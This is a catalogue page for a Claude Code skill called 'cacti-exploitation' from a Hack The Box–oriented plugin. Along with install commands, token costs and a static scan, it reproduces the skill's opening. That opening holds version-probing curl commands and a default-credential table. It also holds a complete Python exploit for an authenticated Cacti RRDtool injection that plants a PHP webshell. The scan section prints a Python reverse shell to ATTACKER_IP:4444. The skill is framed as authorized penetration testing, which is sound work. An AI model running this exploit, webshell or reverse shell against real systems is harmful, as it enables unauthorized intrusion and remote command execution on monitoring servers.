cacti-exploitation

cacti-exploitation is a skill for Claude Code from allsmog/blackbox-claude-plugin. It costs 53 tokens per session (2,106 once invoked), scanned A, original, MIT.

A guide for testing known security weaknesses in Cacti, a web-based network monitoring tool that creates traffic graphs.

In plain words
What is it for?
Use it during authorized security testing to check Cacti versions, test credentials, and investigate command injection or remote-code-execution vulnerabilities.
Why use it?
It gathers version checks, default credentials, and exploitation steps in one place for assessing vulnerable Cacti installations.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Part of the blackbox-htb plugin — 17 skills, 11 commands, 9 agents shipped together

Good fit Use it during authorized security testing to check Cacti versions, test credentials, and investigate command injection or remote-code-execution vulnerabilities.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/allsmog/blackbox-claude-plugin/cacti-exploitation
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add allsmog/blackbox-claude-plugin --skill cacti-exploitation
Clone the repo
git clone --depth 1 https://github.com/allsmog/blackbox-claude-plugin

Made for: Claude Code.

Or install blackbox-htb, the plugin that ships this one along with the rest of its 17 skills, 11 commands, 9 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for cacti-exploitation

README.md
[![agentmods](https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/cacti-exploitation/github.svg)](https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/cacti-exploitation)
Your own site
<a href="https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/cacti-exploitation"><img src="https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/cacti-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for cacti-exploitation

Your own site · 80×15
<a href="https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/cacti-exploitation"><img src="https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/cacti-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 53 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,106 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00053 $0.02106
Opus 5 $0.00026 $0.01053
Sonnet 5 $0.00011 $0.00421
Haiku 4.5 $0.00005 $0.00211

Measured 10d ago against content hash f86e5c83e29b, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade A, and why

cacti-exploitation scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s http://target/cacti/include/cacti_version

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"
blackbox-htb/skills/cacti-exploitation/SKILL.md · 253 lines

How it starts

The opening of the file, as written. The whole thing — 253 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Cacti Exploitation

Overview

Cacti is a PHP-based network monitoring tool that uses RRDtool for graphing. It has multiple known vulnerabilities including authenticated RCE and unauthenticated command injection.

Version Detection

# Check version file
curl -s http://target/cacti/include/cacti_version

# Or from login page source
curl -s http://target/cacti/ | grep -i version

# Check common paths
curl -s http://target/cacti/index.php
curl -s http://target/cacti/graph_view.php

Default Credentials

Username Password Notes
admin admin Default installation
admin cacti Alternative default
guest guest Guest account
admin (empty) Some versions

CVE-2025-24367: Authenticated RCE via Graph Templates

Vulnerability

Authenticated users with permission to edit graph templates can inject arbitrary RRDtool commands via the right_axis_label parameter. RRDtool then writes PHP code to files in the web directory.

Requirements

  • Valid Cacti credentials (any user with graph template edit access)
  • Write access to web directory

Exploitation Steps

Step 1: Login and Get CSRF Token
import requests
import re

session = requests.Session()
url = "http://target/cacti"

# Get CSRF token
res = session.get(f"{url}/index.php")
csrf = re.search(r"sid:[a-z0-9]+,[a-z0-9]+", res.text).group(0)

# Login
data = {
    "__csrf_magic": csrf,
    "action": "login",
    "login_username": "marcus",
    "login_password": "wonderful1"
}
session.post(f"{url}/index.php", data=data, allow_redirects=True)
Step 2: Get Graph Template Info
# Access graph template 226 (or any valid template ID)
t226 = session.get(f"{url}/graph_templates.php?action=template_edit&id=226")
csrf = re.search(r"sid:[a-z0-9]+,[a-z0-9]+", t226.text).group(0)
gtg_id = re.search(r'graph_template_graph_id.*?value="(\d+)"', t226.text).group(1)
Step 3: Inject RRDtool Payload
# PHP webshell - uses numeric parameter to avoid quote filtering
# Access with: http://target/cacti/shell.php?1=id
php_code = "<?=system($_REQUEST[1]);?>"

# RRDtool injection payload
payload = f"""XXX
create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph shell.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:{php_code}
"""

data = {
    "__csrf_magic": csrf,
    "name": "Unix - Logged in Users",
    "graph_template_id": "226",
    "graph_template_graph_id": gtg_id,
    "save_component_template": "1",
    "title": "|host_description| - Logged in Users",
    "vertical_label": "users",
    "image_format_id": "3",
    "height": "200",
    "width": "700",
    "base_value": "1000",
    "slope_mode": "on",
    "auto_scale": "on",
    "auto_scale_opts": "2",
    "auto_scale_rigid": "on",
    "upper_limit": "100",
    "lower_limit": "0",
    "right_axis": "",
    "right_axis_label": payload,  # INJECTION POINT
    "right_axis_format": "0",
    "right_axis_formatter": "0",
    "left_axis_formatter": "0",
    "auto_padding": "on",
    "tab_width": "30",
    "legend_position": "0",
    "legend_direction": "0",
    "rrdtool_version": "1.7.2",
    "action": "save"
}

session.post(f"{url}/graph_templates.php?header=false", data=data)

Read the full file on GitHub · 253 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 10d ago First seen · 253 lines · 53 tokens per session scan A f86e5c83e29b

Subscribe to this mod's changes

cacti-exploitation is a skill published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 53 tokens to every session and 2,106 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other skills, from other repositories

mks

MKS (Metasploit-Kali Server) tool preference guide. Mount in Phase 0/1 alongside the primary skill. Provides URL resolution, REST endpoint patterns, response parsing, error handling, and fallback rules for all MKS-backed Kali tools.

Stickman230/claude-pentest · 54 tokens

pentest

Penetration testing orchestrator that coordinates specialized attack agents. Provides attack indexes, methodology frameworks, and documentation. Execution delegated to specialized agents (SQL Injection, XSS, SSRF, etc.). Use for engagement planning and attack coordination.

Stickman230/claude-pentest · 50 tokens

authenticating

Authentication testing skill - automates signup, login, 2FA bypass, CAPTCHA solving, and bot detection evasion using Playwright MCP. Tests authentication security controls. Includes behavioral biometrics simulation, OTP handling, and automated account creation for security assessments.

Stickman230/claude-pentest · 54 tokens

web-application-mapping

Comprehensive web application reconnaissance and mapping coordinator that orchestrates passive browsing, active endpoint discovery, attack surface analysis, and headless browser automation for complete application coverage.

Stickman230/claude-pentest · 38 tokens

common-appsec-patterns

Application security testing coordinator for common vulnerability patterns including XSS, injection flaws, and client-side security issues. Orchestrates specialized testing agents to identify and validate common application security weaknesses.

Stickman230/claude-pentest · 42 tokens

cve-testing

CVE vulnerability testing coordinator that identifies technology stacks, researches known vulnerabilities, and tests applications for exploitable CVEs using public exploits and proof-of-concept code.

Stickman230/claude-pentest · 36 tokens